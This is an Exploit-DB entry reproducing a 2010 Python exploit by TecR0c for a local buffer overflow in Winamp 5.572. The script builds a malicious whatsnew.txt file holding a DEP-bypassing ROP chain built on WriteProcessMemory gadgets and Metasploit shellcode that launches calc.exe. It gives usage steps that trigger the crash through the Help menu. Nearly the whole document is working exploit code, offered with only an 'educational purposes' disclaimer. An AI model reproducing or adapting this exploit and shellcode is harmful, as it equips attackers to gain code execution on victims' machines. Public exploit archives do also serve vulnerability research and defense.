Winamp 5.572 – Local Buffer Overflow (EIP + SEH) (DEP Bypass)

  • 作者: TecR0c
    日期: 2010-06-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/13907/
  • #!/usr/bin/python
    #
    # Title:Winamp v5.572 local BOF exploit (EIP & SEH DEP Bypass)
    # Author: Rocco Calvi aka TecR0c - http://tecninja.net/blog | http://twitter.com/TecR0c
    # Found BY: Debug
    # Date: June 18th, 2010
    # Platform: Windows XP sp3 En
    # Greetz to:Corelan Security Team
    # http://www.corelan.be:8800/index.php/security/corelan-team-members/
    #
    # Script provided 'as is', without any warranty.
    # Use for educational purposes only.
    # Do not use this code to do anything illegal !
    #
    # Note : you are not allowed to edit/modify this code.
    # If you do, Corelan cannot be held responsible for any damages this may cause.
    
    # Special thanks to mr_me for making me try harder and lincoln
    
    
    # Usage stage 1 : Replace existing whatsnew.txt file with evil whatsnew.txt 
    
    # Usage stage 2 : Launch Application > Help > About Winamp > Version History > BOOM!
    
     
    print "|------------------------------------------------------------------|"
    print "| __ __|"
    print "| _________________/ /___ _____ / /________ _____ ___|"
    print "|/ ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |"
    print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |"
    print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/|"
    print "||"
    print "| http://www.corelan.be:8800 |"
    print "|security@corelan.be |"
    print "||"
    print "|-------------------------------------------------[ EIP Hunters ]--|"
    print "[+] Winamp 5.572 (whatnews.txt) DEP Bypass - by TecR0c"
    
    
    
    # http://www.metasploit.com
    # EXITFUNC=process, CMD=calc.exe
    sc = ("\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
    "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
    "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
    "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
    "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
    "\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
    "\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
    "\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
    "\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
    "\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
    "\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
    "\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
    "\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
    "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
    "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
    "\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
    "\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
    "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
    "\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
    "\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
    "\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
    "\x51\x42\x4c\x42\x43\x43\x30\x41\x41");
    
    
    version = "Winamp 5.572"
    
    rop = "\x41" * 540# Crash
    
    
    rop += "\x09\x12\x0e\x07" # 0x070E1209 :{POP}# POP EDI # POP ESI # POP EBP
    # XOR EAX,EAX # POP EBX # RETN 	[Module : nde.dll] 
    
    
    rop += "\xee\xff\xff\xc0" # 0xc0ffffee :Junk
    rop += "\xee\xff\xff\xc0" # 0xc0ffffee :Junk
    rop += "\xee\xff\xff\xc0" # 0xc0ffffee :Junk
    rop += "\xee\xff\xff\xc0" # 0xc0ffffee :Junk
    
    
    rop += "\x03\x85\x09\x07" # 0x07098503 :EAX CALL 
    rop += "\xee\xff\xff\xc0" # 0xc0ffffee :Junk
    rop += "\xee\xff\xff\xc0" # 0xc0ffffee :Junk
    rop += "\xff\xff\xff\xff" # 0xffffffff :for EBX
    
    
    rop += "\xc5\x01\x5a\x78" # 0x785A01C5 :# POP EDX # RETN 	[Module : MSVCR90.dll] 
    rop += "\x10\xe0\x10\x07" # 0x07100e01 :Writeable Address
    
    
    rop += "\x46\x17\x5a\x78" # 0x785A1746 :# ADD EAX,40 # POP EBP # RETN 	[Module : MSVCR90.dll]
    rop += "\xee\xff\xff\xc0" # 0xc0ffffee :Junk
    rop += "\x6e\x22\x97\x7c" # 0x7C97226E :# ADD EAX,100 # POP EBP # RETN
    rop += "\xcf\x22\x80\x7c" # 0x7C8022CF :dest address in WriteProcessMemory()
    
    
    rop += "\xcf\xc9\x0e\x07" # 0x070EC9CF :# ADD EBX,EAX # XOR AL,AL # RETN 	[Module : nde.dll]
    rop += "\x5e\x89\x09\x07" # 0x0709895E :{POP}# POP EAX # POP ESI # RETN 	[Module : libsndfile.dll] 
    rop += "\x13\x22\x80\x7c" # 0x7C802213 :WriteProcessMemory 
    rop += "\xff\xff\xff\xff" # 0xffffffff :HProcess HANDLE (-1)
    
    
    rop += "\x65\x08\x59\x78" # 0x78590865 :# PUSHAD # RETN 	[Module : MSVCR90.dll] 
    
    
    junk = "\x43" * 800
    
    
    tecfile = open('whatsnew.txt','w')
    tecfile.write(version + rop + sc + junk)
    tecfile.close()